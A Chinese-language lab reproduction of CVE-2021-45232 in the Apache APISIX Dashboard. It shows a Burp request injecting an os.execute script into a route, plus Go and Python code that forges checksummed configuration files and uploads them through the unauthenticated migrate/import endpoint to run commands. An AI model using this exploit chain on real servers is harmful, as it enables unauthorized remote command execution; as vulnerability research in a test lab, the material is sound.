Apache APISIX介绍

Apache APISIX是一个动态、实时、高性能的API网关。提供了丰富的流量管理功能,如负载均衡、动态上游、canary释放、断路、认证、可观察性等。也可以使用Apache APISIX来处理传统的南北向流量,以及服务之间的东西向流量。它也可以用作k8s的ingress控制器。

漏洞概述

该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架,所有的 API 和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin 的接口,从而绕过身份验证。CVE编号为:CVE-2021-45232

未授权访问API:

/apisix/admin/migrate/export
/apisix/admin/migrate/import

影响版本

Apache APISIX Dashboard < 2.10.1

环境搭建

git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/

修改docker-compose.yml:

apache/apisix-dashboard:2.7
apache/apisix:2.6-alpine

很多文章只是修改了第一处,如果只修改第一处的话,则会因为对应的版本号对不上,而导致登录报错。
在这里插入图片描述

在这里插入图片描述

接着通过docker-compose搭建即可

漏洞复现

漏洞环境搭建成功后,通过默认端口9000访问Web界面

在这里插入图片描述

后台RCE

其实如果没有未授权访问的话,也是可以先通过弱密码登录后台进行RCE的,接下来演示如何进入后台进行RCE。

在这里插入图片描述

首先创建一个上游服务

在这里插入图片描述

点击创建,名称可以随意命名,然后目标节点填的是我们转发请求的服务,这里我们填docker附带的Grafana应用,端口号为3000

点击下一步,提交即可。

接着再创建一个路由

在这里插入图片描述

名称随便起,然后路径也是可以自定义,点击下一步

选择我们刚才创建的上游服务

在这里插入图片描述

接下来,默认提交即可。

在这里插入图片描述

创建的路由配置如下:
在这里插入图片描述

创建路由成功后,回到路由配置界面,点击配置按钮,直接点击下一步,到按下提交按钮时使用Burp抓包

在这里插入图片描述

然后添加一个script字段,如下:

PUT /apisix/admin/routes/389826569650045636 HTTP/1.1
Host: 172.21.1.158:9000
Content-Length: 197
Accept: application/json
Origin: http://172.21.1.158:9000
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDE4ODcyNzQsImlhdCI6MTY0MTg4MzY3NCwic3ViIjoiYWRtaW4ifQ.m63RB9tu28GHzwT0D_jGbAAmzLQ7FgMIvjr6ze-EtE0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: http://172.21.1.158:9000/routes/389826569650045636/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"uris":["/RCE123"],"methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"priority":0,"name":"A1LB1ue_route","status":1,"labels":{},"script": "os.execute('touch /tmp/Keepb1ue')","upstream_id":"389826160386638532"}

这里解释一下,这里URL后面routes/后的数字是来自创建的路由ID,而下面的upstream_id是来自创建的上游服务ID,需要自行对应。

在这里插入图片描述

Run之后,在看下配置:

在这里插入图片描述

接着我们访问一下:

http://172.21.1.158:9080/RCE123

访问后,再到docker中去查看是否创建了Keepb1ue这个文件进行验证

在这里插入图片描述

未授权接口RCE

那如果没有默认密码或者弱密码的话,这时我们就利用未授权接口进行RCE了

/apisix/admin/migrate/export
/apisix/admin/migrate/import

这里我们需要知道这两个接口一个是用来导出配置文件,一个是用来导入配置文件的。

我们可以使用/apisix/admin/migrate/export直接导出配置文件

我们可以尝试访问下,当然我们利用的是未授权接口,自然是不用登录

在这里插入图片描述

访问可以看到配置文件信息,这里仔细看,后面多出四个字节,这4个字节其实是配置文件的checksum值

在导入配置文件时,会对配置文件的checksum值进行校验,那这里其实是可以通过写脚本算出checksum校验值,或者是根据apisix的源码去计算出新的checksum值

源码位置在:apisix-dashboard-master\api\internal\handler\migrate\migrate.go的ExportConfig函数

将其计算源码单独抽取出来

package main

import (
    "encoding/binary"
    "fmt"
    "hash/crc32"
    "io/ioutil"
    "os"
)
func main() {
    gen()
}
func gen() {
    data := []byte(`{"Counsumers":[],"Routes":[{"id":"389828862525047492","create_time":1641885708,"update_time":1641885708,"uris":["/RCE123"],"name":"Keepb1ue_route","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('touch /tmp/A1LB1ue')","script_id":"389792240563651268","upstream_id":"389828818199642820","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"389828818199642820","create_time":1641885682,"update_time":1641885682,"nodes":[{"host":"172.21.1.158","port":3000,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"upstream"}],"Scripts":[{"id":"389792240563651268","script":"os.execute('touch /tmp/A1LB1ue')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
    checksumUint32 := crc32.ChecksumIEEE(data)
    checksumLength := 4
    checksum := make([]byte, checksumLength)
    binary.BigEndian.PutUint32(checksum, checksumUint32)
    fileBytes := append(data, checksum...)

    content := fileBytes
    fmt.Println(content)

    importData := content[:len(content)-4]
    checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
    if checksum2 != crc32.ChecksumIEEE(importData) {
        fmt.Println(checksum2)
        fmt.Println(crc32.ChecksumIEEE(importData))
        fmt.Println("Check sum check fail, maybe file broken")
        return
    }
    err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
    if err != nil {
        fmt.Println("error!!")
        return
    }
}

将需要导入的配置进行替换,并插入RCE语句

接着运行这段脚本,会生成apisixPayload这个文件

在这里插入图片描述

这个就是我们要import上去的计算好校验值的新的配置文件,接下来使用python代码可以简单的传到服务端

import requests
url = "http://172.21.1.158:9000/apisix/admin/migrate/import"
files = {"file": open("apisixPayload", "rb")}
r = requests.post(url, data={"mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)

在这里插入图片描述

很好,没有报校验值错误。

接下来访问路由地址即可命令执行成功。

http://172.21.1.158:9080/RCE123

在这里插入图片描述

修复方案

更新到最新版本,新版本代理做了鉴权处理

Logo

K8S/Kubernetes社区为您提供最前沿的新闻资讯和知识内容

更多推荐